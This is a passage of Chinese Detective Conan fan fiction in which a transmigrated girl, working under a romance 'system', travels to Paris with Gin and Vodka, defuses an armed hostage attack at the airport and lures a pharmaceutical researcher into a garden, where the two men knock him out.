神无梦得知这个消息的时候做不出来任何表情,连夜搜索魔术速成技巧,但翻遍因特网也毫无收获。
短时间内取得成功是显然不可能的,当一件事的太过困难的时候反而会让人感到格外平静,神无梦就当没这回事,认认真真收拾行李,又为组织的任务做了点准备,然后上了伏特加的车。
她有驾照,也会开车,安全屋的车库里还停着花组织的钱买的豪华跑车,但在有司机的情况下,她并不喜欢自己来。
毕竟开车这种需要集中注意力的事情真的很累啊,尤其对于她这样身体素质本来就一般的人来说。
出行的所有开销都由组织承担,神无梦很不客气地选了头等舱,连琴酒和伏特加的机票都一起买了。
琴酒是个很在乎时间的人,不喜欢等人,也不喜欢等飞机,所以他们到机场的时候已经开始登机,再晚一点说不定就要被广播念名字了……
难怪琴酒他们用的都是伪造的身份。
——用了假证但是真名的神无梦这么想到。
-
比起几十年后,这时候飞机头等舱的座位之间并没有太宽的隔断,邻座之间交流十分方便。
票都是她买的,座位当然也是她提前挑好的。
恰好撞上平安夜,买得起头等舱的人都不会愿意在飞机上过节,因此宽敞的空间只有他们三位乘客和偶尔经过的空姐。
神无梦在伏特加频频回头的动作下坐在了琴酒身边的座位,正准备让空姐帮她安置手提行李,东西就被时刻关注着这边的伏特加抢走,放到他自己的座位边:“西拉酒,你也不想想我们带的都是什么东西!”
“只是电脑而已呀伏特加,你紧张什么?”神无梦对自己的定位很明确,跟过来提供技术辅助的后勤人员,什么枪支弹药的都不在她的随身物品之内,但凡她和琴酒他们分开行动,就是清清白白的一名普通游客。
伏特加似乎不太相信,朝她确认道:“别的都没带?”
神无梦肯定地点头:“当然!”
他们的航班是晚上飞,伏特加这会没有戴墨镜,所以她清楚地看到了伏特加露出一言难尽的表情,却没等到他的下一句话。
神无梦不和伏特加浪费时间,朝另一边的琴酒说道:“大哥,我们在巴黎的酒店都安排好了吗?网络一定要稳定啊,上次跟你出差根本就连不上网,还得找人要网线。”
伏特加坐在前面,但很有为大哥分忧的主观能动性,接过话道:“什么出差啊,你都是哪里学来的词?”
“出差就是工作人员接受领导派遣外出到另一个地点办理公事,也就是我们现在这样。”神无梦看着那颗方方正正硬要回头参与对话的脑袋,惋惜道,“难道伏特加你的学历是中学肄业?”
伏特加说不过她,又不想承认自己的学历问题,一双不算大的眼睛都瞪圆了,反驳道:“你还不是没念过书就来了组织?”
前面那些还勉强能忍,听到伏特加快要在大庭广众透露组织事务的那一刻,琴酒的忍耐终于到了极限。
他微微抬头,被帽檐挡住的阴鸷目光从两人的脸上扫过,冷声道:“闭嘴。”
神无梦狐假虎威,朝伏特加露出胜利的笑容:“听到没,快在座位上坐好,别来打扰大哥了!”
虽然琴酒的话有一半是对她说的,但谁让她对组织太有价值,琴酒根本管不了她呢?
神无梦忽略掉男人面无表情的脸,也不管那双绿色眼睛对自己的死亡凝视,问道:“大哥,贝尔摩德前几天为什么会易容去市政大楼?她有没有告诉你?”
没听到回答,她也无所谓,自顾自地继续道:“我猜是为了恐吓或威胁其他议员吧,毕竟亲眼死去的同僚被人取代身份出现在眼前,怎么能不害怕幕后的庞然大物呢?当然是更容易就能取得合作啦!”
说话时神无梦刻意压低了声音,悄悄话一样凑到男人的耳边,看起来像是为了保密,但真正谨慎的人不可能会提起这些。
她的眼睛亮晶晶的,在舱内的浅黄色灯光下仿佛有星星在里面闪烁。与其说是为了满足好奇心,更像是抓住一切能聊天的机会,连一秒钟都不想浪费。
琴酒并不对她的推测发表任何看法。
他偏过头,两人的距离缩至咫尺,神无梦甚至能感受到对方冰凉的发丝从肩颈拂过。
再冷漠的男人吐息也是热的,洒在少女脸上的时候会令白皙细嫩的肌肤洇出淡淡的粉,宛如坠进恋爱编织的网中般令人心动。
可唯一能够欣赏到的琴酒不为所
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动,面上的戾气更重:“别问不该知道的事,西拉。”
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攻略是任重而道远的事,神无梦从前两次的经历之中已经完全明白了这一点,并不急于一时。
况且琴酒的态度实在很难分辨,有时候她觉得对方还算容忍她,但有时候又觉得这个男人实在软硬不吃。
可再让她当冤种去查爱慕值是不可能的,所以神无梦不再纠结这件事,和系统在脑海里聊了两句天就调好座椅裹着毯子睡觉了。
从东京飞巴黎要十几个小时,两边还有八个小时的时差,降落时巴黎才刚刚早晨,有一种时光逆流的错觉。
清早的阳光总是令人喜悦,不管这趟是出差还是做任务,神无梦都已经进入旅游的状态里了。她兴致勃勃走上透明材质搭建的廊桥,随身行李被专业小弟伏特加拿着,脚步轻快地东张西望。
不过神无梦没走几步,突然又收回张望的目光,转身凑到后面一米九的男人身边。
身高的差距因为站得太近而显得愈发明显,她仰着脸,被笼罩在阴影下的模样显得可怜兮兮:“大哥!能不能借你的帽子戴戴?”
琴酒的脚步停下,脸上颇有些不耐烦,似乎在问她又想搞什么事情。
神无梦伸手指指自己浅瞳色的眼睛,抱怨道:“这里的阳光太亮了,刺得我眼睛好疼。”
她觉得这句话的力度不够,再接再厉道:“万一我的眼睛出问题,那可就没办法用电脑了呀大哥!”
见男人听她说完就毫不留情地拔腿便走,神无梦跟在后面,借他高大的身躯挡住刺眼的日光,嘴巴不停喊道:“大哥,大哥,Aniki~”
“伏特加。”
琴酒忍耐着因为身后人与自己过近的距离而想要拔枪的冲动,命令道:“墨镜给她。”
“谢谢大哥!”神无梦火速道谢,然后转身看向身上背着大包小包还一脸茫然的伏特加,笑道,“也谢谢——”
后半句话还没说出来,她的手臂被人大力拽了一把,脚步踉跄着向前,整个人不受控制地往琴酒的怀里倾倒。
破风声响起,身侧的玻璃栈道兀然多了一个穿透的小孔,裂痕“劈里啪啦”地往四周蔓延,仿佛下一秒就要彻底碎掉。
那是一枚子弹。
几乎是无声无息地出现,带着死神与她擦肩而过。
13. 攻略进度13%
鼻尖浮动着混杂了硝烟与烟草的气味,神无梦一头撞在坚实的胸膛上,只觉得头昏眼花,生理性的泪水都盈上眼眶。
“呜……”
她捂住额头,还没有搞清楚什么情况,四周其余也在廊桥上的乘客就此起彼伏地发出尖叫声,场面瞬间乱作一团。
遇到意外,她的第一反应是他们的行程泄漏,但这一次的任务从伪造证件到订票都是她亲手做的,就算是那几个卧底都不知道具体的航班情况——他们也不可能会做出安排人在机场随意开枪的事。
廊桥侧面的玻璃碎了,但支撑的作用并没有被破坏,不影响行人继续在上面走动。
可陷入恐慌的群众却不会考虑这些,每个人都带着自己的行李朝前奔去,然后惊恐之中被流弹击中,前胸后背绽满了血色的花。
碎裂的玻璃不堪重负,稀里哗啦砸在地上,十二月的寒风从敞开的空洞吹进来,没人还敢在这种情况下胡来。
受害人相当随机,看起来和他们无关。
神无梦攥紧了琴酒的黑色大衣,正想问点什么,后颈却突然被大力捏住,迫使她仰起脸。带着枪茧的冰凉手指从那块最脆弱的肌肤蹂躏而过,粗粝摩擦的疼痛将好不容易褪去的泪珠重新逼上她的瞳孔。
被抓住的手臂后知后觉到禁锢感,她猜测这个位置会变得青紫。
眼前这个男人才在千钧一发之际救了自己,却又表现得这么暴戾,真是喜怒无常。
但脖颈还在别人手里,神无梦再怎么样也不会在这种时候跟琴酒翻脸。她抬手拍了拍后者的手臂,没有控制力道,反而让她把自己的掌心拍疼了。
流弹停下了,可危机却环伺周围,神无梦并不觉得这是个争论或者动手的好机会,软着声音示弱:“大哥……”
柔弱的表现似乎更加激怒琴酒,他松开手,那双像狼一般的碧绿瞳孔透出毫不掩饰的凶狠:“再不当心,我会亲手杀了你。”
神无梦重获自由,但也不敢离他太远,只能小声提醒道:“我的命这么重要,Boss不会同意的吧?”
“大哥,我们怎么做?”
关键时候,伏特加也不像平时那样和她插科打诨,脸上的表情严肃,腾出来的右手已经摸上了侧腰的位置,随时准备好掏枪。
琴酒睨他一眼,吩咐道:“不要节外生枝。”
子弹是从廊桥连接的机场内部射出,横越过倒地的几具尸体,那群头上戴了黑色面罩的持枪者才大步走出来,枪口对准他们,要求在场的所有乘客走下廊桥,并交出身上所有的值钱物品。
一行三个人只有伏特加不懂法语,但语言在很多情况下都不是必须的,比如被拿枪指着的时候不要反抗是世界通用的共识。
短短二十米的距离,神无梦偷偷瞄了琴酒几次,不敢相信他竟然这么听话,明明脸上那副表情下一秒就能杀人。
不过法国警方的响应还算及时,等他们一飞机的人乌泱泱站到机场里面,属于警方的喇叭声已经响了起来,随后是武装到位、训练有素的两排警员。
混在人群中,琴酒戴着高礼帽的身形依然明显,但好在那群恐怖分子开始了和警方的交涉,没有多余的心思看顾另一边的人质,只要他们不做出太过分的反抗就不会惹来关注。
谈判环节使用的是法语,伏特加听不明白,朝神无梦问道:“那群人想怎么样?”
距离让声音失真,神无梦勉强听清,转述道:“他们是一个名为‘Ega’的组织,追求民众平等,目标是消灭贫富差距。他们认为有经济实力乘坐飞机的都是阶级敌人,所以随意扫射,也愿意为此次事件负责。
“他们现在的诉求是把这件事原原本本刊登在报纸上,力求让他们的愿景传遍法国,传到每一个普通人的耳朵里。”
伏特加大概明白了,把握住一切时机表忠心:“还是大哥有远见!这群条子来得这么快,幸好我没掏枪。”
神无梦十分配合,真情实感道:“可不是嘛,要不是大哥救我,我现在都和那些尸体躺在一起了呢!”
说实话,她现在还是有些后怕的,虽然只剩下二十天的生命值了,但她还在艰难求生,也并不希望死在这种莫名其妙的事件里。
两个人吹捧着的对象一言不发站在旁边,被帽檐遮住的眼睛看不出思绪,安静地观察着周围的情况。
对方的行动显然是有组织有预谋的,被挟持了充当人质的不仅是他们这趟飞机的乘客,还有另一趟相近时间落地的乘客正抱头蹲在不远处,应该是在他们来之前就被控制住了。
不像他们这边的人群还乱糟糟的,那群人质已经度过了最混乱的时间,或许还受到了更加可怕的恐吓,不少人正默默流泪。
神无梦已经开始思考怎么把包括自己在内的全部人质救出去了。
她只粗略扫了一眼,估计两边加起来能有两三百人,除了乘客之外还有机组的工作人员。
就算每个都只是最普通不过的、只能提供1点生命值的路人,把他们都救了也能续上大半年的命。
——实在是很难不心动啊!
如果不是自导自演会被系统判定作弊,她都想花钱雇人搞恐怖袭击,再由她来充当救世主的角色了。
琴酒察觉到了神无梦的不对劲,但短时间内没往“她打算救人”这种荒谬的可能性上想,冷着声音提醒道:“没有接应,不要轻举妄动。”
“大哥。”神无梦小声喊他,“你看那边倒数第三排右手边第四个,是不是我们的任务目标?”
身为时常隐匿在暗处的杀手,琴酒对周遭环境的观察力异常敏锐,早在刚到机场里面之时就注意到那位任务目标,这也是他耐心等在这里的原因之一。
这次的任务并不是杀人那么简单,需要和法国一个药物研究所达成合作,而他们所要做的就是尽量给出对方满意的条件,如果谈不拢,再采取其他必要的手段。
Boss对药物研究一向是最上心的,更希望对方能心甘情愿和组织合作,而不是受到逼迫,影响药物的研发进度。
神无梦看琴酒的神色,继续道:“我们在这里把那个人救了,之后谈合作也能简单一些,大哥你说呢?”
伏特加
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听不下去,满脸不解:“西拉酒,你没听大哥刚才说吗?不要节外生枝,你怎么还想着救人的事啊?”
“那是一般人吗?那可是我们要讨好的合作对象!”神无梦不肯放弃好大一笔生命值,努力说服道,“有这么好的机会能够得到对方的信任,难道我们要眼睁睁看着它溜走吗?”
伏特加有一点点心动,但还是唯琴酒之命是从:“大哥?”
琴酒没有直接表态,而是勾起唇角,露出个颇有几分嘲弄的笑。
他扫了眼身边只到自己肩膀的少女,她身上的浅蓝针织衫还隐约能看到被他拽过的痕迹,半点肌肉没有的手臂软弱到连枪都握不稳,却说些大言不惭的话。
“你打算怎么做?”
这是个平平无奇的询问句,但神无梦觉得自己从对方的语调中听出了“就凭你”的意味,是赤裸裸的轻蔑。
“我当然有我的办法。”
神无梦有点生气,但打不过琴酒,再想想计划成功之后可能获得的生命值……
她让自己冷静下来,不要和黑方成员一般见识,毕竟他真的是一言不合就会拔枪的家伙。
她又朝人群中看了一眼:一位穿着制服的空乘人员正在安抚受到惊吓的孕妇;医生职业的人在帮被流弹击伤的乘客包扎;几个看起来不到四五岁的小孩哭得脸蛋通红,被家长抱在怀里,不让他们看到眼前骇人的场面……
谈判似乎不是特别顺利,她又听到了几声枪响,随后是压抑的惊呼声与哭喊声。
然后又被枪声镇压。
宽敞明亮的机场在瞬间变成了血流成河的炼狱,飞溅的血液落进瓷砖的缝隙之中,绵延到了自己的脚下。
神无梦的面色冷了下来,脸上的笑意不再,语气也难得有了些属于代号成员的冷酷与强势:“总之,救下任务目标,获得对方的信任对我们的任务百利而无一害。”
“但这样太高调了!”伏特加反对道,“西拉酒,大哥不会同意的。”
“所以我可以自己动手。”
神无梦本来也没打算让这两个人帮忙,不然拿到了生命值说不定还得折半:“我会装作和你们都不认识,救完人正好想办法接近那位任务目标。你们只需要藏在暗处替我解决其他麻烦。”
伏特加认真思考了一会,觉得有哪里不对:“……怎么感觉你把我和大哥当成你的手下了?”
“怎么可能!”神无梦斩钉截铁,“我对大哥绝对是忠心耿耿,没看我都在为组织考虑吗?”
猜到她计划的琴酒冷哼一声,视线从那双坚定的眼睛移到她那张花言巧语的嘴唇上:“就这么想找死?”
他俯下身,与身前少女的距离更近了些。
神无梦感觉到自己被属于琴酒的气味包围,然后一个冰凉的物体隔着针织衫顶在她的腰上,几乎让腰侧的软肉都往下陷,蕴藏着的侵略性和危险性令她本能地想要躲避,却又强撑着站在原地。
她清楚地知道那是琴酒放在大衣口袋的伯.莱.塔,也清楚地听到了男人在耳边说的话。
“——暴露就杀了你。”
14. 攻略进度14%
谈判进行得很不顺利。
哪怕是当着警方的面,那群恐怖分子也依然在无差别扫射,似乎是希望将今天的这场暴动闹得越大越好。
刊登报纸的要求已经被答应了,但他们临时又改变了主意,声称必须把这件事进行电视转播才愿意放人。
事实上,从人数来判断,恐怖分子们一共也只有六个人,比起数十位警官根本不堪一击。但问题是这里的人质太多,随便开枪就会导致无辜群众伤亡,警方不敢冒险,难免有些瞻前顾后。
越混乱的环境越容易找到机会。
神无梦将自己的手提行李从伏特加那里拿回来,火速和两人拉开距离,的确如她所说一般装做了独自一人的样子。
或许这趟飞机的乘客注意到了她和琴酒两人交流,但在另一拨人质之中的任务目标却绝对不会知道,只要瞒过了对方就万事大吉。
这里是到达层,那些罪犯想要混进来并不是一件简单的事,况且还要在这里守株待兔,等待他们认为的“阶级敌人”。
航班是先降落,再对接廊桥接口的,而要这么精准地找到他们所走的那条通道,这群人大概率是在机组工作人员中有内应。
那位内应为了预防暴露所带来的危机,会挑选适合被控制的人质,停留在后者身边。
扫射的确杂乱无章,但总有人能注意到某些位置相对安全,至少子弹落在这一块的次数很少,于是涌过来的人也更多了。
在推搡的人群中,神无梦被挤到了那位安抚孕妇的空乘人员身边。
“一切都会好的,上帝会保佑我们。”
穿着制服的男人沉着而冷静,安慰着怀孕的妇人:“请不要太过担忧,我们会平安离开的。”
“先生……”神无梦的眉头微蹙,拽住了他的制服外套,垂落的长发遮住小半张脸,“帮帮我……”
男人的面色一变,想要挥开她的手,却在看到她面孔的那一刻硬生生停住,关心道:“这位小姐,您有哪里不适吗?”
眼前只是个看起来在成年边缘的女孩,他觉得自己太过多疑,但还是伸手去扶对方的手,想要不露痕迹地让那只手从自己的外衣上挪开。
——但失败了。
因为那女孩的手指不知道在什么时候伸进了他的制服外套,转瞬之间抽出了他随身的枪,用冰凉的枪口对准了他。
“保险已经开了。”
神无梦抬起头,脸上再看不出半点刚才伪装出来的难受,命令道:“现在跟我走过去,让你的同伴们停下。”
枪被发现,再装作听不懂已经没有意义。
男人顾不上去看那位因为这番变故而慌张后退的孕妇,回答道:“他们不会听我的。”
“能够在航空公司拥有一份体面的工作,实时提供航班情况,你在你们组织里面的作用应该不小吧?而且,连组织名字都是‘平等’,一定不会抛弃自己的同伴,否则今天的这场袭击将会毫无意义,不仅没能宣传你们的组织,寻找到更多的新成员,反倒有损声誉。”
少女歪着头,颊边的酒窝若隐若现,与当下的紧张氛围格格不入。她像是在说些什么动听的话,但开口俱是威胁:“还是要我扣下扳机,你才愿意说实话?”
机组人员、在老弱妇孺身边、身上能够携带枪械,这三点要求已经排除了许多人,再加上那群人开枪时有意避开这个方向,锁定眼前的男人并不算太难。
尤其在组织里这么久,外套下面那明显的枪支形状还是一眼就能辨认的,现在握在手里,她很清楚地知道这支枪的珍贵程度,小巧精致,绝对不是一般地位的人可以拿到的。
空乘很难想象眼前长相柔美的女孩果真有勇气开枪。
但现在是自己的命捏在别人手上,他并不敢赌,只能听从她的吩咐往最前方同伴所在的位置走。
两个人离得很近,神无梦没有引起恐慌的想法,用自己的身形遮住枪支,保持着他们之间的距离。
走过最拥挤的地方,再往前一点就能被那群恐怖分子注意到,也就有了谈判的空间。
神无梦正考虑着等会怎么请警方配合,前面的男人就猛地回头,将从另一侧口袋掏出的弹.簧.刀向她刺来。
食指还在扳机上,这种时候就算开枪也绝对是正当防卫,神无梦没有半点犹豫,相信自己一定比对方的动作更快。
可下一秒,还没等她真的扣下扳机,泛着银光的弹.簧.刀就被人夺走,随后是骨头与地面发出的清脆碰撞声。
空乘整个人倒在地上,似乎连自己都没反应过来究竟是怎么一回事,被手刀横劈过的小臂生疼,让他忍不住握上去惨叫。
周围的人群稍稍散开,一只锃亮的黑色皮鞋踩上他的手腕,那声痛呼更加惨烈,却没人敢来询问情况。
神无梦飞快藏好枪,屏住呼吸,顺着那条长腿往上看。
戴着高礼帽的男人嘴角噙着一抹冷笑,轻蔑地哼了一声,碾过脚下腕骨的力道毫不留情,落在她脸上的目光又变得嘲讽。
不是说不许自己暴露和他认识的事情吗?现在是什么新的剧本?
神无梦眨眨眼睛,没有想通。
但不论如何,救人获取生命值才是最重要的事,所以她拍了拍琴酒那条腿,让他松开,之后又拉着身为恐怖分子内应的空乘从地上站起来。
“不要再搞小动作了。”
她加重语气,推着男人走到最前方谈判的位置,将自己手里随时可以取人性命的枪展示在双方面前。
交锋停了下来。
蒙面的恐怖分子显然没有料到己方潜伏在人质之中的领头人会在这种情况被控制,一时也不知道该如何是好。
警方完全没有理解眼下的变数,神无梦赶在前者开口询问前就率先解释:“这位先生是他们的同伴,地位应该还比较高。这把枪就是他刚才不小心掉出来的,恰好被我捡到。另外,我希望能做个交易。”
她转向那群罪犯,打算速战速决:“我把他放了,你们把我们放了,可以吗?”
-
因为电视转播的设备都搬过来了,那群恐怖分子的确不想在国民面前做出背叛同伴的事情,最后只要求警方放他们
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离开。
摄像机的见证之下,双方都想要维护自己的声誉,没人敢反悔,最后这群无能的法国警方只好答应了这个要求,在众目睽睽之下将人放走,“解救”了人质。
虽然他们趁乱击毙了两个恐怖分子,还承诺会在后续追捕逃犯,但今天的事件到这里彻底落幕。
神无梦没有心思去管别人国家的事情,她听着脑海内系统通知生命值已经到账的声音,觉得今天这趟算是没有白折腾。
虽然由于“人质们不被救援也不一定会死亡”导致她最终到手的生命值打了个折,只有三十二点,但至少给她攻略琴酒提供了更多时间,短期内也不用为了日常任务绞尽脑汁了。
现场依旧混乱,但毕竟危机已经解决,警官们也开始维持秩序,提供着帮助。
受惊的乘客或跟着警官离开,或拒绝了提供证词的要求径自回家。
作为在这场暴动中贡献最大的群众,神无梦礼貌地敷衍掉过来表示赞扬的警官,在后者惊艳的目光中走向那位任务目标。
她站定在男人面前,开口问道:“米歇尔先生,您没事吧?”
一位才拯救了自己性命又年轻貌美的女性主动搭话,任何人都很难拒绝。
米歇尔下意识地整理了一下衣衫,连堆在一旁的行李都顾不上拿,脸上的笑容温和有礼:“您是?”
“我叫梦·罗贝尔,之前与贵公司邮件联系过,是特地来巴黎谈论合作事宜的,没想到这么巧,会在这里遇到。”神无梦露出几分恰到好处的惊讶,“真高兴见到您!”
听她说完这句话,米歇尔的脸上闪过一瞬间的为难,像是完全没有洽谈这件事的打算,动作间透露着拒绝的意思。
神无梦善解人意道:“今天有些匆忙,不如等我们邮件商量好会谈时间再见,也能给我多一些时间准备。”
说完,她微笑着点头致意,做出准备离开的模样,然后意料之中地被叫住。
“罗贝尔小姐!”米歇尔稍稍停顿了两秒,但还是主动邀请道,“您一个人不方便,不如我送您一程?”
少女的脸上露出些许惊讶,然后道:“这样会不会太麻烦您了?”
“当然不会,我联系司机让他过来。”
米歇尔已经恢复了属于成功人士的体面,侃侃而谈道:“本以为今天是不幸的一天,没想到上帝庇佑,让我能与罗贝尔小姐您相遇,还请您一定不要拒绝。至于合作的事情……我们也可以在车上先谈一谈。”
“既然如此,那我就却之不恭了。”
神无梦笑着答应。
她耐心地等待着米歇尔将行李找出来,又拒绝了对方帮她拿东西的建议,随后一并往私家车接机的方向走去。
在身边人没注意到的时候,神无梦微微回头,看向始终与她保持着十米距离的琴酒。
被帽檐遮挡着,她看不清对方的表情,但不影响琴酒将她脸上的每一个变化看清。
我成功咯——
少女用口型无声说出这句话,飞快眨了眨右眼,在转弯之前送出了一个甜美的wink。
15. 攻略进度15%
有米歇尔做东,之前订好的酒店当然也没必要去了,全程听他的安排就好。
神无梦在路上试探了两句米歇尔对于合作的态度,但后者话里话外都是没有这方面的意向。
乌丸集团的制药公司毕竟是日本本土的企业,不管是从地理位置还是技术水平上都不足以吸引远在法国的药物研究所,特别是在后者本就不缺少资金的情况下。
米歇尔显然对自己的研究所很有信心,关于DNA自由基端粒酶的研究方向更是被他看好,挑选合作对象的要求极高,并非任何人都能够来分一杯羹。
如果换了一个人坐在这里,或许他连稍微内部一点的信息都不愿意透露。
神无梦能从他的口吻中听出些许愧疚,似乎在为拒绝她而产生不忍的情绪,试图从其他方面进行补偿,将她的衣食住行都一手包办了。
但她毕竟不是真的制药公司派来谈合作事宜的员工,她原本也只是借他的名义在机场救人兑换生命值而已,合作是否能洽谈成功对她来说并没有那么重要。
如果最终没办法谈拢,让组织不得不采取某些强制措施,真正需要担忧的人该是米歇尔才对。
神无梦有些疲惫,一路上便没再多说什么,这反倒被米歇尔误会,坚持邀请她参加今晚由他们研究所主办的晚宴——也是他为了筛选合作方而举办的。
考虑到她初来乍到,米歇尔甚至连宴会服饰都承诺会提前送上门,热情程度已经超出了公事范畴。
尽管他的说辞是“为了感谢在机场的帮助”,但心思依旧明显,不过总归对领了任务的神无梦来说不是一件坏事。
-
经历了十几个小时的长途飞行,又在降落后遇到了恐怖袭击这种耗费体力脑力的事件,神无梦走进酒店房间就累得不行,匆匆洗了个澡,躺上了柔软洁白的床铺。
身体没有多少力气,可大脑皮层依然因为之前的活动而保持着兴奋,她自觉不可能睡着,索性给琴酒打了个电话。
爱慕值一时半会肯定刷不满,但互动多了才有机会发展感情嘛。
电话在响起两声后被对面接起,沉默着等她先开口。
“大哥,米歇尔给我安排了酒店,我就不去之前预定的那里啦!”神无梦积极地报备行程,“今晚他的研究所要办一个晚宴,会寻找合作方,我会参加噢。”
事情能不能办成是一回事,没有及时汇报进度是另一回事,她很有面对领导的自觉,继续道:“米歇尔似乎不太愿意和我们合作,我们还是做好两手准备吧!”
琴酒的声音从对面传来,干净利落:“时间地点。”
“晚上七点,在香榭丽舍酒店一层。”神无梦问道,“你要去吗?我可以想办法再给你和伏特加弄两张邀请函。”
“管好你自己。”
被毫不留情地拒绝,神无梦想了想,觉得琴酒肯定有自己的办法解决,没有多劝:“那好吧,大哥你看着办,我们晚上见。我会努力说服米歇尔同意合作的。”
“不同意就动手,需要我教你?还是今天救的人太多,让你忘了自己的身份?”琴酒的语气不耐,“西拉,别做蠢事。”
留下这句冷冰冰的警告,电话被挂断了。
这家伙真是不骂人就不会说话啊!
听着话筒里的忙音,神无梦做了个深呼吸,调整好心情,翻开手机里那堆未读信件。
在飞机上手机是保持关机的,这一路也没有多余的时间查看,直到现在她才挨个点开。
最先看到的是来自hagi的。
就算那天分开之前已经亲口说过了“圣诞快乐”,但到了节日当天,他的祝福还是准时发送过来。
比较令神无梦惊讶的是莱伊竟然也发了条短信,虽然打听任务内容才是主要目的,不过好歹还是加了点祝福的话作为掩饰。
好像自从她跟苏格兰分手之后莱伊就在想方设法地接近她。
该说这位FBI竟然意外的有道德吗?
神无梦将短信一一回复,忍不住又多翻了翻,发现她和苏格兰的对话还停留在上周。
是她那天说的话奏效了,他下定决心和她保持距离了?现在连表面和谐的同事关系都不愿意维系了?
这是一件好事,神无梦也不可能主动发消息过去,把手机扔在一边,将随身带的电脑抱上了床。
她还没忘自己的日常任务,登上据说全世界最有名的魔术爱好者交流论坛,将首页的帖子通读了一遍,然后认认真真用英文编辑了一条新的——【求助!想在短时间内速成一个能令内行人惊艳的魔术,请问有什么途径?】
这个号是她来到这个世界没多久注册的,最开始是想着了解一下黑羽盗一的死亡真相——不会有名柯粉丝对这件事不好奇吧!
如果不是她过来的时间晚了一年,她说什么也要去那场魔术现场看看。
这个账号注册的年限很长,但由于在论坛内贡献不多,所以她的账号等级依旧很低,能够提供的积分也很少。
神无梦把能够支付的金钱报酬和自己在隔壁黑客论坛的高等级账号id贴上去,希望能够从其他方面弥补这条求助帖的吸引力。
不管能不能得到回复,她总得努力过才能坦然面对,说不定就有哪位藏在论坛的高手乐于助人,主动来帮她解决烦恼了呢。
做完这一切,她松了口气,勉强有了种正在脚踏实地的安心感,打酒店前台电话订了份餐食。
-
晚上的宴会现场十分奢华。
金色的灯光从水晶吊灯洒下,将铺满了华贵地毯的大厅照亮。摆放整齐的银质餐具反射着闪耀的光芒,在柔软干净的丝绸桌布上宛如精美的艺术品。
神无梦已经换上了一袭露背正红色吊带长裙,原本披散的浅金色长发挽起,光滑细腻的背部肌肤裸露在外,直到收起的腰线处又被布料重新覆盖,隔绝了四周灼热的目光。
因为担心不够合身,米歇尔甚至准备了不同尺寸的礼服,在下午全部送到了她的房间。
她对于促成合作并没有多么上心,但想到晚上大概率会见到琴酒,所以还是挑了件最吸睛的裙子——毕竟攻略才是最重要的事情嘛!
虽然那家伙看起来就不太吃这一套,搞不好还会露出什么嫌弃的眼神也说不定……
正如米歇尔所说,这场宴会是为了他选择合作对象举办的,神无梦看到了不少在药物研究方面有头有脸的人物,随便拎一个出来都比他们组织
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的乌丸制药响亮得多。
她在心里为台上那位正在激情演说的企业家惋惜,手上从众地为之鼓掌,送出赞美的掌声。
宴会已经开场,最关键的意义也已经揭晓,身为主办方的米歇尔被层层围住,过了好一会才寒暄完毕,看到了遥遥站在大厅一角的少女。
尽管那里并非宴会中央,光线都要较之其他地方更加幽暗一些,但依旧有不少青年才俊在她的身边停驻,找机会过去搭话。
“罗贝尔小姐。”
米歇尔走到她的身边,英俊的面孔上满是惊艳:“很高兴您愿意赏光。”
因为要出席这样的场合,米歇尔换掉了之前在机场的常服,穿着一身银灰色面料的高级西装,巧的是用了条红色领带。
他的褐色头发微卷,从经过侍者的手中托盘拿了杯香槟递给神无梦,接着举杯道:“罗贝尔小姐之前说是为了合作而来,怎么独自待在这里,是我招待不周?”
酒液在高脚杯里晶莹剔透,少女浅抿一口,客气道:“当然不是,只是米歇尔先生太过瞩目,我实在找不到机会过去。”
“倘若米歇尔先生这会有空,不如我们去后面的花园走走?”神无梦笑着发出邀请,颊边的酒窝若隐若现,脸侧垂下的发丝为她添了几分灵动,“正好将我方的诚意告知米歇尔先生。”
对于米歇尔来说,权色交易见过太多,这样僻静地点的邀请更是添了几分暧昧色彩。
他自觉无法拒绝,尤其是在享受到其他人艳羡的目光之时。
“荣幸之至。”
米歇尔将杯中香槟一饮而尽,跟着她离开了宴会大厅。
-
酒店的后花园是专为贵客提供的,里面的绿植修剪得当,在冬日也花香弥漫,是个极其符合法国人浪漫情怀的地方。
适逢圣诞,这里还摆了一棵极高的圣诞树,上面的装饰物大多为银红两色,仿佛落了雪,又像结满了沉甸甸的果实。
米歇尔回过头,看到站在树下的红裙少女,只觉得呼吸一窒,恍惚间以为美神降临。
“罗贝尔小姐,您——”他彻底忘了自己试图掌控主动权的想法,朝她迈了一步,微微躬身,去牵她手的姿势像是要行吻手礼。
但他并没有碰到那只手的机会,就直直栽倒在了地上。
神无梦稍稍错身,避免对方撞在自己身上,轻抬眼睑,看向从暗处走出来的琴酒:“大哥,很多人看到他跟我出来,可别让他死了呀。”
伏特加松开手里的棍子,蹲下去扛人,不满道:“西拉酒,我下手有轻重!”
“好嘛。”神无梦耸耸肩,倒也不是真的在意,朝琴酒道,“那剩下的就交给你们——”
她的声音一顿,肩膀上突然传来冰凉的触感,紧接着是粗粝的摩擦。
男人带着枪茧的手指穿过她的肩头,那根细细的吊带被他的指节勾起,布料仅有的韧度被扯到极限,仿佛稍一用力就会绷断。
神无梦被迫踮起脚尖,拉近两人的距离,眼睛也不由得睁大。
琴酒垂下的长发搭在她的身前,俯视的姿势让她能够看清楚那双绿色眼睛里面的戾气,于是露在外面的后背更冷了。
“不是让你别做蠢事?”
16. 攻略进度16%
十二月底的巴黎气温很低,这里又是露天花园,冷空气很快穿透薄薄的衣裙侵袭到肌肤上,于是碰到肩膀的指节都多了几分暖意。
脚上踩的是高跟鞋,神无梦也没什么了不起的身体素质,在身高差的压力下没两秒就踮不住脚,伸手扶在琴酒的臂膀。
男人的银色长发垂落,将他们过近的面孔遮挡,连动作都仅仅隐约可见,粗略看去宛如一对在圣诞树下私会的情侣。
环绕在圣诞树身上的灯带明亮,光线映在琴酒的侧脸,令他的五官显得更加深邃,脸上细微的表情也愈发分明。
那张泛着冷意的脸在瞳孔之中放大,神无梦感受到了他的不满,却没想通琴酒是在发什么疯,毕竟她可不觉得自己是在做蠢事。
平整的风衣布料被她抓得起皱,掌心下的肌肉紧实,和碰到她皮肤的手指温度不同,隔着大衣都能感觉到里面的炙热。
她单手扶稳,另只手拍拍琴酒的手背,让他松开自己,反驳道:“伏特加给我发信息说你们会在后花园,我才把人引出来的。”
再说了,就算他们不在,她也能应付得了,不至于在这种地方翻车。
今晚没有狙击的打算,琴酒没有戴手套,所以神无梦听到了她拍打过去导致的清脆声响,在安静的角落明显到难以忽视。
回击她一般,细细的吊带被松开,重新回到了光滑的肩上,被摩挲出的淡淡红晕上又多了道因为弹力而造成的痕迹。
